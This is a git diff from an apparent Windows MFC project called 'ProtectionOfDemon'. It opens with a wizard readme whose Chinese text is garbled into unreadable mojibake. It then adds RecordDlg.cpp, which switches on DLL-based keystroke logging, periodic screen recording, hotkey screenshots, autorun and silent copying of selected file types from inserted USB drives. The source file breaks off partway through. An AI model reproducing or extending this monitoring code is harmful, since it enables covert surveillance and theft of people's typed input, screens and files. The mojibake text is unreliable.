+ 鍏朵腑鍖呮嫭鍏朵粬椤圭洰鐗瑰畾鐨勬爣澶达紙鍖呮嫭 Resource.h锛夛紝骞跺0鏄 CProtectionOfDemonApp 搴旂敤绋嬪簭绫汇
+
+ProtectionOfDemon.cpp
+ 杩欐槸鍖呭惈搴旂敤绋嬪簭绫 CProtectionOfDemonApp 鐨勪富搴旂敤绋嬪簭婧愭枃浠躲
+
+ProtectionOfDemon.rc
+ 杩欐槸绋嬪簭浣跨敤鐨勬墍鏈 Microsoft Windows 璧勬簮鐨勫垪琛ㄣ傚畠鍖呮嫭 RES 瀛愮洰褰曚腑瀛樺偍鐨勫浘鏍囥佷綅鍥惧拰鍏夋爣銆傛鏂囦欢鍙互鐩存帴鍦 Microsoft Visual C++ 涓繘琛岀紪杈戙傞」鐩祫婧愬寘鍚湪 2052 涓
+
+res\ProtectionOfDemon.ico
+ 杩欐槸鐢ㄤ綔搴旂敤绋嬪簭鍥炬爣鐨勫浘鏍囨枃浠躲傛鍥炬爣鍖呮嫭鍦ㄤ富璧勬簮鏂囦欢 ProtectionOfDemon.rc 涓
+
+res\ProtectionOfDemon.rc2
+ 姝ゆ枃浠跺寘鍚笉鍦 Microsoft Visual C++ 涓繘琛岀紪杈戠殑璧勬簮銆傛偍搴旇灏嗕笉鍙敱璧勬簮缂栬緫鍣ㄧ紪杈戠殑鎵鏈夎祫婧愭斁鍦ㄦ鏂囦欢涓
+
+
+/////////////////////////////////////////////////////////////////////////////
+
+搴旂敤绋嬪簭鍚戝鍒涘缓涓涓璇濇绫伙細
+
+ProtectionOfDemonDlg.h銆丳rotectionOfDemonDlg.cpp - 瀵硅瘽妗
+ 杩欎簺鏂囦欢鍖呭惈 CProtectionOfDemonDlg 绫汇傛绫诲畾涔夊簲鐢ㄧ▼搴忕殑涓诲璇濇鐨勮涓恒傚璇濇妯℃澘鍖呭惈鍦 ProtectionOfDemon.rc 涓紝璇ユ枃浠跺彲浠ュ湪 Microsoft Visual C++ 涓紪杈戙
+
+/////////////////////////////////////////////////////////////////////////////
+
+鍏朵粬鍔熻兘锛
+
+ActiveX 鎺т欢
+ 璇ュ簲鐢ㄧ▼搴忓寘鍚浣跨敤 ActiveX 鎺т欢鐨勬敮鎸併
+
+Windows 濂楁帴瀛
+ 搴旂敤绋嬪簭鍖呭惈瀵归氳繃 TCP/IP 缃戠粶寤虹珛閫氫俊鐨勬敮鎸併
+
+/////////////////////////////////////////////////////////////////////////////
+
+鍏朵粬鏍囧噯鏂囦欢:
+
+StdAfx.h, StdAfx.cpp
+ 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 ProtectionOfDemon.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆
+
+Resource.h
+ 杩欐槸鏍囧噯澶存枃浠讹紝鍙敤浜庡畾涔夋柊鐨勮祫婧 ID銆侻icrosoft Visual C++ 灏嗚鍙栧苟鏇存柊姝ゆ枃浠躲
+
+ProtectionOfDemon.manifest
+ Windows XP 浣跨敤搴旂敤绋嬪簭娓呭崟鏂囦欢鏉ユ弿杩扮壒瀹氱増鏈殑骞惰绋嬪簭闆嗙殑搴旂敤绋嬪簭渚濊禆椤广傚姞杞界▼搴忎娇鐢ㄨ繖浜涗俊鎭潵浠庣▼搴忛泦缂撳瓨涓姞杞界浉搴旂殑绋嬪簭闆嗭紝骞朵繚鎶ゅ叾涓嶈搴旂敤绋嬪簭璁块棶銆傚簲鐢ㄧ▼搴忔竻鍗曞彲鑳戒細鍖呭惈鍦ㄥ唴锛屼互浣滀负涓庡簲鐢ㄧ▼搴忓彲鎵ц鏂囦欢瀹夎鍦ㄥ悓涓鏂囦欢澶逛腑鐨勫閮 .manifest 鏂囦欢杩涜閲嶆柊鍒嗗彂锛屽畠杩樺彲鑳戒互璧勬簮鐨勫舰寮忓寘鍚湪鍙墽琛屾枃浠朵腑銆
+/////////////////////////////////////////////////////////////////////////////
+
+鍏朵粬娉ㄩ噴:
+
+搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐
+
+濡傛灉搴旂敤绋嬪簭浣跨敤鍏变韩 DLL 涓殑 MFC锛屾偍灏嗛渶瑕侀噸鏂板垎鍙 MFC DLL銆傚鏋滃簲鐢ㄧ▼搴忔墍浣跨敤鐨勮瑷涓庢搷浣滅郴缁熺殑鍖哄煙璁剧疆涓嶅悓锛屽垯杩橀渶瑕侀噸鏂板垎鍙戠浉搴旂殑鏈湴鍖栬祫婧 mfc110XXX.DLL銆
+鏈夊叧涓婅堪璇濋鐨勬洿澶氫俊鎭紝璇峰弬瑙 MSDN 鏂囨。涓湁鍏抽噸鏂板垎鍙 Visual C++ 搴旂敤绋嬪簭鐨勯儴鍒嗐
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/ProtectionOfDemon/ProtectionOfDemon/RecordDlg.cpp b/ProtectionOfDemon/ProtectionOfDemon/RecordDlg.cpp
new file mode 100644
index 0000000..f833b0d
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/RecordDlg.cpp
@@ -0,0 +1,1083 @@
+// RecordDlg.cpp : 实现文件
+//
+
+#include "stdafx.h"
+#include "ProtectionOfDemon.h"
+#include "RecordDlg.h"
+#include "afxdialogex.h"
+
+#include "MyGlobalData.h"
+
+// CRecordDlg 对话框
+
+IMPLEMENT_DYNAMIC(CRecordDlg, CDialogEx)
+
+CRecordDlg::CRecordDlg(CWnd* pParent /*=NULL*/)
+ : CDialogEx(CRecordDlg::IDD, pParent)
+ , m_iRecordShutdown(FALSE)
+{
+
+}
+
+CRecordDlg::~CRecordDlg()
+{
+}
+
+void CRecordDlg::DoDataExchange(CDataExchange* pDX)
+{
+ CDialogEx::DoDataExchange(pDX);
+ DDX_Control(pDX, IDC_CHECK_SCREENCAPTURE_ONOFF, m_ScreenCaptureOnOffCheck);
+ DDX_Control(pDX, IDC_HOTKEY_SCREENCAPTURE, m_ScreenCaptureHotKey);
+ DDX_Control(pDX, IDC_CHECK_KEYBOARDRECORD_ONOFF, m_KeyboardRecordOnOffCheck);
+ DDX_Control(pDX, IDC_CHECK_SCREENRECORD_ONOFF, m_ScreenRecordOnOffCheck);
+ DDX_Control(pDX, IDC_SLIDER_SCREENRECORD_TIME, m_ScreenRecordSlider);
+ DDX_Control(pDX, IDC_COMBO_SCREENRECORD_FILEEXT, m_ScreenRecordCombo);
+ DDX_Control(pDX, IDC_CHECK_SCREENRECORD_CURSOR, m_ScreenRecordCursorCheck);
+ DDX_Control(pDX, IDC_CHECK_SHUTDOWNTIMER_ONOFF, m_ShutdownOnOffCheck);
+ DDX_Control(pDX, IDC_COMBO_SHUTDOWNTIMER_HOUR, m_ShutdownComboHour);
+ DDX_Control(pDX, IDC_COMBO_SHUTDOWNTIMER_MINUTE, m_ShutdownComboMin);
+ DDX_Control(pDX, IDC_COMBO_SHUTDOWNTIMER_SECOND, m_ShutdownComboSecond);
+ DDX_Control(pDX, IDC_CHECK_COPY_FILE_ALL_FILES, m_UDiskAllFilesCheck);
+ DDX_Control(pDX, IDC_CHECK_COPY_FILE_DOC_DOCX, m_UDiskDocCheck);
+ DDX_Control(pDX, IDC_CHECK_COPY_FILE_EXE, m_UDiskExeCheck);
+ DDX_Control(pDX, IDC_CHECK_COPY_FILE_JPG_PNG_BMP, m_UDiskJpgCheck);
+ DDX_Control(pDX, IDC_CHECK_COPY_FILE_MP3_WAV, m_UDiskMp3Check);
+ DDX_Control(pDX, IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, m_UDiskMp4Check);
+ DDX_Control(pDX, IDC_CHECK_COPY_FILE_PPT_PPTX, m_UDiskPptCheck);
+ DDX_Control(pDX, IDC_CHECK_COPY_FILE_XLS_XLSX, m_UDiskExlCheck);
+ DDX_Control(pDX, IDC_CHECK_UDISKRECORD_ONOFF, m_UDiskOnOffCheck);
+ DDX_Radio(pDX, IDC_RADIO_SHUTDOWN, m_iRecordShutdown);
+ // DDX_Control(pDX, IDC_CHECK_AUTORUN, m_AutuRun);
+ DDX_Control(pDX, IDC_CHECK_AUTORUN, m_AutoRun);
+}
+
+
+BEGIN_MESSAGE_MAP(CRecordDlg, CDialogEx)
+ ON_BN_CLICKED(IDC_CHECK_SCREENCAPTURE_ONOFF, &CRecordDlg::OnBnClickedCheckScreencaptureOnoff)
+ ON_BN_CLICKED(IDC_BUTTON_SCREENCAPTURE_SET_HOTKEY, &CRecordDlg::OnBnClickedButtonScreencaptureSetHotkey)
+ ON_BN_CLICKED(IDC_CHECK_KEYBOARDRECORD_ONOFF, &CRecordDlg::OnBnClickedCheckKeyboardrecordOnoff)
+ ON_BN_CLICKED(IDC_BUTTON_KEYBOARDRECORD_PATH, &CRecordDlg::OnBnClickedButtonKeyboardrecordPath)
+ ON_BN_CLICKED(IDC_CHECK_SCREENRECORD_ONOFF, &CRecordDlg::OnBnClickedCheckScreenrecordOnoff)
+ ON_NOTIFY(NM_RELEASEDCAPTURE, IDC_SLIDER_SCREENRECORD_TIME, &CRecordDlg::OnReleasedcaptureSliderScreenrecordTime)
+ ON_BN_CLICKED(IDC_CHECK_SCREENRECORD_CURSOR, &CRecordDlg::OnBnClickedCheckScreenrecordCursor)
+ ON_BN_CLICKED(IDC_BUTTON_SCREENRECORD_PATH, &CRecordDlg::OnBnClickedButtonScreenrecordPath)
+ ON_CBN_SELCHANGE(IDC_COMBO_SCREENRECORD_FILEEXT, &CRecordDlg::OnSelchangeComboScreenrecordFileext)
+ ON_BN_CLICKED(IDC_CHECK_SHUTDOWNTIMER_ONOFF, &CRecordDlg::OnBnClickedCheckShutdowntimerOnoff)
+ ON_BN_CLICKED(IDC_BUTTON_SHUTDOWNTIMER_SET, &CRecordDlg::OnBnClickedButtonShutdowntimerSet)
+ ON_WM_TIMER()
+ ON_BN_CLICKED(IDC_CHECK_UDISKRECORD_ONOFF, &CRecordDlg::OnBnClickedCheckUdiskrecordOnoff)
+ ON_BN_CLICKED(IDC_BUTTON_UDISKRECORD_PATH, &CRecordDlg::OnBnClickedButtonUdiskrecordPath)
+ ON_BN_CLICKED(IDC_CHECK_COPY_FILE_ALL_FILES, &CRecordDlg::OnBnClickedCheckCopyFileAllFiles)
+ ON_BN_CLICKED(IDC_CHECK_COPY_FILE_EXE, &CRecordDlg::OnBnClickedCheckCopyFileExe)
+ ON_BN_CLICKED(IDC_CHECK_COPY_FILE_DOC_DOCX, &CRecordDlg::OnBnClickedCheckCopyFileDocDocx)
+ ON_BN_CLICKED(IDC_CHECK_COPY_FILE_PPT_PPTX, &CRecordDlg::OnBnClickedCheckCopyFilePptPptx)
+ ON_BN_CLICKED(IDC_CHECK_COPY_FILE_XLS_XLSX, &CRecordDlg::OnBnClickedCheckCopyFileXlsXlsx)
+ ON_BN_CLICKED(IDC_CHECK_COPY_FILE_JPG_PNG_BMP, &CRecordDlg::OnBnClickedCheckCopyFileJpgPngBmp)
+ ON_BN_CLICKED(IDC_CHECK_COPY_FILE_MP3_WAV, &CRecordDlg::OnBnClickedCheckCopyFileMp3Wav)
+ ON_BN_CLICKED(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, &CRecordDlg::OnBnClickedCheckCopyFileMp4AviRmvbMkv)
+ ON_COMMAND(IDOK, &CRecordDlg::OnIdok)
+ ON_BN_CLICKED(IDC_CHECK_AUTORUN, &CRecordDlg::OnBnClickedCheckAutorun)
+END_MESSAGE_MAP()
+
+
+// CRecordDlg 消息处理程序
+BOOL CRecordDlg::OnInitDialog()
+{
+ CDialogEx::OnInitDialog();
+
+ // TODO: 在此添加额外的初始化
+ InitCtrl();
+ SetAutoRunState();
+// ::MessageBox(NULL, "RecordDlg", NULL, MB_OK);
+ return TRUE; // return TRUE unless you set the focus to a control
+ // 异常: OCX 属性页应返回 FALSE
+}
+
+
+void CRecordDlg::OnIdok()
+{
+ // TODO: 在此添加命令处理程序代码
+}
+
+
+void CRecordDlg::InitCtrl()
+{
+ m_ScreenRecordCombo.AddString("jpg");
+ m_ScreenRecordCombo.AddString("png");
+ m_ScreenRecordCombo.AddString("bmp");
+ m_ScreenRecordCombo.AddString("gif");
+
+ m_ScreenRecordSlider.SetRange(0, 300);
+ m_ScreenRecordSlider.SetPos(0);
+
+ char szTemp[10] = {0};
+ for (int i = 0; i < 60; i++)
+ {
+ ::wsprintf(szTemp, "%d", i);
+ m_ShutdownComboHour.AddString(szTemp);
+ m_ShutdownComboMin.AddString(szTemp);
+ m_ShutdownComboSecond.AddString(szTemp);
+ }
+ m_ShutdownComboHour.SetCurSel(0);
+ m_ShutdownComboMin.SetCurSel(0);
+ m_ShutdownComboSecond.SetCurSel(0);
+}
+
+
+void CRecordDlg::ReadConfigForKeyboardRecord()
+{
+ // 读取配置文件
+ char szKeyboardRecordSavePath[MAX_PATH] = { 0 };
+ ::GetPrivateProfileString("KEYBOARD RECORD", "Save Path", ".\\KeyboardRecord.txt", szKeyboardRecordSavePath, MAX_PATH, CONFIGFILE);
+ // 获取函数
+ typedef_SetKeyboardRecordFileName SetKeyboardRecordFileName = (typedef_SetKeyboardRecordFileName)::GetProcAddress(g_KeyboardRecordDll, "SetKeyboardRecordFileName");
+ if (NULL == SetKeyboardRecordFileName)
+ {
+ ShowError("GetProcAddress");
+ return;
+ }
+ // 开始记录
+ typedef_SetKeyboardRecord SetKeyboardRecord = (typedef_SetKeyboardRecord)::GetProcAddress(g_KeyboardRecordDll, "SetKeyboardRecord");
+ if (NULL == SetKeyboardRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ // 执行函数
+ SetKeyboardRecordFileName(szKeyboardRecordSavePath);
+ SetKeyboardRecord(TRUE);
+ // 显示在控件上
+ HWND hEditWnd = ::GetDlgItem(m_hWnd, IDC_EDIT_KEYBOARDRECORD_PATH);
+ ::SetWindowText(hEditWnd, szKeyboardRecordSavePath);
+}
+
+
+void CRecordDlg::ReadConfigForScreenCapture()
+{
+ // 读取配置文件
+ UINT uModifiers = ::GetPrivateProfileInt("SCREEN CAPTURE", "Modifiers", MOD_CONTROL | MOD_SHIFT, CONFIGFILE);
+ UINT uVirtualKey = ::GetPrivateProfileInt("SCREEN CAPTURE", "Virtual Key", 'A', CONFIGFILE);
+ // 获取函数
+ typedef_SetScreenCaptureHotKey SetScreenCaptureHotKey = (typedef_SetScreenCaptureHotKey)::GetProcAddress(g_ScreenCaptureDll, "SetScreenCaptureHotKey");
+ if (NULL == SetScreenCaptureHotKey)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ // 执行函数
+ SetScreenCaptureHotKey(uModifiers, uVirtualKey);
+ // 显示在控件上
+ // HotKeyCtrl中的wModifiers和RegisterHotKey函数中的fsModifiers并不相同,所以要进行转换
+ WORD wHotKeyModifiers = Modifiers_RegisterHK_to_HKCtrl(uModifiers);
+ m_ScreenCaptureHotKey.SetHotKey(uVirtualKey, wHotKeyModifiers);
+}
+
+
+void CRecordDlg::ReadConfigForScreenRecord()
+{
+ // 读取配置文件
+ char szScreenRecordSaveDirectory[MAX_PATH] = { 0 };
+ char szScreenRecordSaveFileExt[MAX_PATH] = { 0 };
+ ::GetPrivateProfileString("SCREEN RECORD", "Save Directory", ".\\", szScreenRecordSaveDirectory, MAX_PATH, CONFIGFILE);
+ ::GetPrivateProfileString("SCREEN RECORD", "File Extention", "jpg", szScreenRecordSaveFileExt, MAX_PATH, CONFIGFILE);
+ UINT uIncludeCursor = ::GetPrivateProfileInt("SCREEN RECORD", "Include Cursor", 0, CONFIGFILE);
+ UINT uElapseTime = ::GetPrivateProfileInt("SCREEN RECORD", "Elapse Time", 0, CONFIGFILE);
+ // 获取函数
+ typedef_SetScreenRecordSaveDirectoryAndExt SetScreenRecordSaveDirectoryAndExt = (typedef_SetScreenRecordSaveDirectoryAndExt)::GetProcAddress(g_ScreenRecordDll, "SetScreenRecordSaveDirectoryAndExt");
+ if (NULL == SetScreenRecordSaveDirectoryAndExt)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ typedef_SetScreenRecordPaintCursor SetScreenRecordPaintCursor = (typedef_SetScreenRecordPaintCursor)::GetProcAddress(g_ScreenRecordDll, "SetScreenRecordPaintCursor");
+ if (NULL == SetScreenRecordPaintCursor)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ typedef_SetScreenRecordTimer SetScreenRecordTimer = (typedef_SetScreenRecordTimer)::GetProcAddress(g_ScreenRecordDll, "SetScreenRecordTimer");
+ if (NULL == SetScreenRecordTimer)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ // 执行函数
+ SetScreenRecordSaveDirectoryAndExt(szScreenRecordSaveDirectory, szScreenRecordSaveFileExt);
+ SetScreenRecordPaintCursor((BOOL)uIncludeCursor);
+ SetScreenRecordTimer(1000 * uElapseTime);
+ // 显示在控件上
+ HWND hPathEditWnd = ::GetDlgItem(m_hWnd, IDC_EDIT_SCREENRECORD_PATH);
+ HWND hTimeEditWnd = ::GetDlgItem(m_hWnd, IDC_EDIT_ELAPSE_TIME);
+ m_ScreenRecordCursorCheck.SetCheck(uIncludeCursor);
+ m_ScreenRecordSlider.SetPos(uElapseTime);
+ ::SetWindowText(hPathEditWnd, szScreenRecordSaveDirectory);
+ char szTime[MAX_PATH] = { 0 };
+ ::wsprintf(szTime, "%ds", uElapseTime);
+ ::SetWindowText(hTimeEditWnd, szTime);
+ if (0 == ::lstrcmpi(szScreenRecordSaveFileExt, "jpg"))
+ {
+ m_ScreenRecordCombo.SetCurSel(0);
+ }
+ else if (0 == ::lstrcmpi(szScreenRecordSaveFileExt, "png"))
+ {
+ m_ScreenRecordCombo.SetCurSel(1);
+ }
+ else if (0 == ::lstrcmpi(szScreenRecordSaveFileExt, "bmp"))
+ {
+ m_ScreenRecordCombo.SetCurSel(2);
+ }
+ else if (0 == ::lstrcmpi(szScreenRecordSaveFileExt, "gif"))
+ {
+ m_ScreenRecordCombo.SetCurSel(3);
+ }
+}
+
+
+void CRecordDlg::ReadConfigForUDiskRecord()
+{
+ // 读取配置文件
+ char szSaveDirectory[MAX_PATH] = {0};
+ ::GetPrivateProfileString("UDISK RECORD", "Save Directory", ".\\", szSaveDirectory, MAX_PATH, CONFIGFILE);
+ UINT uAllFiles = ::GetPrivateProfileInt("UDISK RECORD", "All Files", 0, CONFIGFILE);
+ UINT uExe = ::GetPrivateProfileInt("UDISK RECORD", "Exe", 0, CONFIGFILE);
+ UINT uDoc = ::GetPrivateProfileInt("UDISK RECORD", "Doc", 0, CONFIGFILE);
+ UINT uPpt = ::GetPrivateProfileInt("UDISK RECORD", "Ppt", 0, CONFIGFILE);
+ UINT uExl = ::GetPrivateProfileInt("UDISK RECORD", "Exl", 0, CONFIGFILE);
+ UINT uJpg = ::GetPrivateProfileInt("UDISK RECORD", "Jpg", 0, CONFIGFILE);
+ UINT uMp3 = ::GetPrivateProfileInt("UDISK RECORD", "Mp3", 0, CONFIGFILE);
+ UINT uMp4 = ::GetPrivateProfileInt("UDISK RECORD", "Mp4", 0, CONFIGFILE);
+ // 获取函数
+ typedef_SetUDiskSaveDirectory SetUDiskSaveDirectory = (typedef_SetUDiskSaveDirectory)::GetProcAddress(g_UDiskRecordDll, "SetUDiskSaveDirectory");
+ if (NULL == SetUDiskSaveDirectory)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ typedef_SetUDiskRecordCopyType SetUDiskRecordCopyType = (typedef_SetUDiskRecordCopyType)::GetProcAddress(g_UDiskRecordDll, "SetUDiskRecordCopyType");
+ if (NULL == SetUDiskRecordCopyType)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ typedef_SetUDiskRecord SetUDiskRecord = (typedef_SetUDiskRecord)::GetProcAddress(g_UDiskRecordDll, "SetUDiskRecord");
+ if (NULL == SetUDiskRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ // 执行函数
+ SetUDiskSaveDirectory(szSaveDirectory);
+ /*
+ 0 所有类型文件
+ 1 可执行程序类型(exe)
+ 2 图片类型(jpg,png,bmp)
+ 3 Word类型(doc,docx)
+ 4 Power Point类型(ppt,pptx)
+ 5 Excel类型(els,elsx)
+ 6 音频类型(mp3,wav)
+ 7 视频类型(mp4,avi,rmvb,mkv)
+ 8 保留
+ 9 保留
+ */
+ SetUDiskRecordCopyType(0, (BOOL)uAllFiles);
+ SetUDiskRecordCopyType(1, (BOOL)uExe);
+ SetUDiskRecordCopyType(2, (BOOL)uJpg);
+ SetUDiskRecordCopyType(3, (BOOL)uDoc);
+ SetUDiskRecordCopyType(4, (BOOL)uPpt);
+ SetUDiskRecordCopyType(5, (BOOL)uExl);
+ SetUDiskRecordCopyType(6, (BOOL)uMp3);
+ SetUDiskRecordCopyType(7, (BOOL)uMp4);
+ SetUDiskRecord(TRUE);
+ // 显示在控件上
+ HWND hEditPathWnd = ::GetDlgItem(m_hWnd, IDC_EDIT_UDISKRECORD_PATH);
+ ::SetWindowText(hEditPathWnd, szSaveDirectory);
+ m_UDiskAllFilesCheck.SetCheck(uAllFiles);
+ m_UDiskExeCheck.SetCheck(uExe);
+ m_UDiskJpgCheck.SetCheck(uJpg);
+ m_UDiskDocCheck.SetCheck(uDoc);
+ m_UDiskPptCheck.SetCheck(uPpt);
+ m_UDiskExlCheck.SetCheck(uExl);
+ m_UDiskMp3Check.SetCheck(uMp3);
+ m_UDiskMp4Check.SetCheck(uMp4);
+}
+
+
+void CRecordDlg::OnBnClickedCheckScreencaptureOnoff()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_ScreenCaptureOnOffCheck.GetCheck();
+ HWND hHotKeyWnd = ::GetDlgItem(m_hWnd, IDC_HOTKEY_SCREENCAPTURE);
+ HWND hButtonWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_SCREENCAPTURE_SET_HOTKEY);
+ if (0 == iCheck) // 未勾选
+ {
+ ::EnableWindow(hHotKeyWnd, FALSE);
+ ::EnableWindow(hButtonWnd, FALSE);
+ m_ScreenCaptureHotKey.SetHotKey(NULL, NULL);
+
+ typedef_ScreenCaptureExit ScreenCaptureExit = (typedef_ScreenCaptureExit)::GetProcAddress(g_ScreenCaptureDll, "ScreenCaptureExit");
+ if (NULL == ScreenCaptureExit)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ ScreenCaptureExit();
+ // 释放
+ ::FreeLibrary(g_ScreenCaptureDll);
+ }
+ else // 勾选
+ {
+ ::EnableWindow(hHotKeyWnd, TRUE);
+ ::EnableWindow(hButtonWnd, TRUE);
+
+ g_ScreenCaptureDll = ::LoadLibrary(SCREENCAPTUREDLL);
+ if (NULL == g_ScreenCaptureDll)
+ {
+ ::ShowError("LoadLibrary");
+ return;
+ }
+ typedef_ScreenCaptureInit ScreenCaptureInit = (typedef_ScreenCaptureInit)::GetProcAddress(g_ScreenCaptureDll, "ScreenCaptureInit");
+ if (NULL == ScreenCaptureInit)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ ScreenCaptureInit();
+
+ // 读取配置文件并更新
+ ReadConfigForScreenCapture();
+ }
+}
+
+
+void CRecordDlg::OnBnClickedButtonScreencaptureSetHotkey()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ WORD wVirtualKeyCode = 0, wModifiers = 0;
+ m_ScreenCaptureHotKey.GetHotKey(wVirtualKeyCode, wModifiers);
+ CString strHotKey = m_ScreenCaptureHotKey.GetHotKeyName();
+ char strText[256];
+ ::wsprintf(strText, "Are You Sure To Set The HotKey:\n%s\n", strHotKey.GetBuffer(0));
+ if (IDYES == ::MessageBox(NULL, strText, "ScreenCapture Setting", MB_YESNO | MB_ICONQUESTION))
+ {
+ // 保存到配置文件中
+ // HotKeyCtrl中的wModifiers和RegisterHotKey函数中的fsModifiers并不相同,所以要进行转换
+ UINT uModifiers = Modifiers_HKCtrl_to_RegisterHK(wModifiers);
+ UINT uVirtualKeyCode = wVirtualKeyCode;
+ char szModifiers[MAX_PATH] = {0};
+ char szVirtualKey[MAX_PATH] = { 0 };
+ ::wsprintf(szModifiers, "%d", uModifiers);
+ ::wsprintf(szVirtualKey, "%d", uVirtualKeyCode);
+ ::WritePrivateProfileString("SCREEN CAPTURE", "Modifiers", szModifiers, CONFIGFILE);
+ ::WritePrivateProfileString("SCREEN CAPTURE", "Virtual Key", szVirtualKey, CONFIGFILE);
+ // 读取配置文件并更新
+ ReadConfigForScreenCapture();
+ }
+}
+
+
+
+void CRecordDlg::OnBnClickedCheckKeyboardrecordOnoff()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_KeyboardRecordOnOffCheck.GetCheck();
+ HWND hEditWnd = ::GetDlgItem(m_hWnd, IDC_EDIT_KEYBOARDRECORD_PATH);
+ HWND hButtonWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_KEYBOARDRECORD_PATH);
+ if (0 == iCheck) // 未勾选
+ {
+ ::EnableWindow(hEditWnd, FALSE);
+ ::EnableWindow(hButtonWnd, FALSE);
+ ::SetWindowText(hEditWnd, "");
+
+
+ typedef_ExitKeyboardRecord ExitKeyboardRecord = (typedef_ExitKeyboardRecord)::GetProcAddress(g_KeyboardRecordDll, "ExitKeyboardRecord");
+ if (NULL == ExitKeyboardRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ ExitKeyboardRecord();
+ // 释放
+ ::FreeLibrary(g_KeyboardRecordDll);
+ }
+ else // 勾选
+ {
+ ::EnableWindow(hEditWnd, TRUE);
+ ::EnableWindow(hButtonWnd, TRUE);
+ // 加载DLL并初始化
+ g_KeyboardRecordDll = ::LoadLibrary(KEYBOARDRECORDDLL);
+ if (NULL == g_KeyboardRecordDll)
+ {
+ ::ShowError("LoadLibrary");
+ return;
+ }
+ typedef_InitKeyboardRecord InitKeyboardRecord = (typedef_InitKeyboardRecord)::GetProcAddress(g_KeyboardRecordDll, "InitKeyboardRecord");
+ if (NULL == InitKeyboardRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ InitKeyboardRecord();
+ // 读取配置文件并更新
+ ReadConfigForKeyboardRecord();
+ }
+}
+
+
+void CRecordDlg::OnBnClickedButtonKeyboardrecordPath()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 获取选择的存储路径
+ char szFileName[MAX_PATH] = { 0 };
+ OPENFILENAME stOF = { 0 };
+ ::RtlZeroMemory(&stOF, sizeof(stOF));
+ stOF.lStructSize = sizeof(stOF);
+ stOF.lpstrFilter = "txt files(*.txt)\0*.txt\0all files(*.*)\0*.*\0\0";
+ stOF.lpstrFile = szFileName;
+ stOF.nMaxFile = MAX_PATH;
+ stOF.lpstrDefExt = "123";
+ ::GetSaveFileName(&stOF);
+ if (0 < ::lstrlen(szFileName))
+ {
+ // 保存到配置文件
+ ::WritePrivateProfileString("KEYBOARD RECORD", "Save Path", szFileName, CONFIGFILE);
+ // 读取配置文件并更新
+ ReadConfigForKeyboardRecord();
+ }
+}
+
+
+void CRecordDlg::OnBnClickedCheckScreenrecordOnoff()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_ScreenRecordOnOffCheck.GetCheck();
+ HWND hEditWnd = ::GetDlgItem(m_hWnd, IDC_EDIT_SCREENRECORD_PATH);
+ HWND hButtonWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_SCREENRECORD_PATH);
+ HWND hCheckWnd = ::GetDlgItem(m_hWnd, IDC_CHECK_SCREENRECORD_CURSOR);
+ HWND hSliderWnd = ::GetDlgItem(m_hWnd, IDC_SLIDER_SCREENRECORD_TIME);
+ HWND hComboWnd = ::GetDlgItem(m_hWnd, IDC_COMBO_SCREENRECORD_FILEEXT);
+ if (0 == iCheck) // 未勾选
+ {
+ ::EnableWindow(hEditWnd, FALSE);
+ ::EnableWindow(hButtonWnd, FALSE);
+ ::EnableWindow(hCheckWnd, FALSE);
+ ::EnableWindow(hSliderWnd, FALSE);
+ ::EnableWindow(hComboWnd, FALSE);
+ typedef_SetScreenRecordTimer SetScreenRecordTimer = (typedef_SetScreenRecordTimer)::GetProcAddress(g_ScreenRecordDll, "SetScreenRecordTimer");
+ if (NULL == SetScreenRecordTimer)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ SetScreenRecordTimer(0);
+ // 释放
+ ::FreeLibrary(g_ScreenRecordDll);
+ }
+ else // 勾选
+ {
+ ::EnableWindow(hEditWnd, TRUE);
+ ::EnableWindow(hButtonWnd, TRUE);
+ ::EnableWindow(hCheckWnd, TRUE);
+ ::EnableWindow(hSliderWnd, TRUE);
+ ::EnableWindow(hComboWnd, TRUE);
+ // 加载DLL
+ g_ScreenRecordDll = ::LoadLibrary(SCREENRECORDDLL);
+ if (NULL == g_ScreenRecordDll)
+ {
+ ::ShowError("LoadLibrary");
+ return;
+ }
+ // 读取配置文件并更新
+ ReadConfigForScreenRecord();
+ }
+}
+
+
+void CRecordDlg::OnReleasedcaptureSliderScreenrecordTime(NMHDR *pNMHDR, LRESULT *pResult)
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iElapseTime = m_ScreenRecordSlider.GetPos();
+ char szElapseTime[MAX_PATH] = {0};
+ ::wsprintf(szElapseTime, "%d", iElapseTime);
+ // 保存到配置文件
+ ::WritePrivateProfileString("SCREEN RECORD", "Elapse Time", szElapseTime, CONFIGFILE);
+ // 读取配置文件并更新
+ ReadConfigForScreenRecord();
+
+ *pResult = 0;
+}
+
+
+void CRecordDlg::OnBnClickedCheckScreenrecordCursor()
+{
+ // TODO: 在此添加控件通知处理程序代码
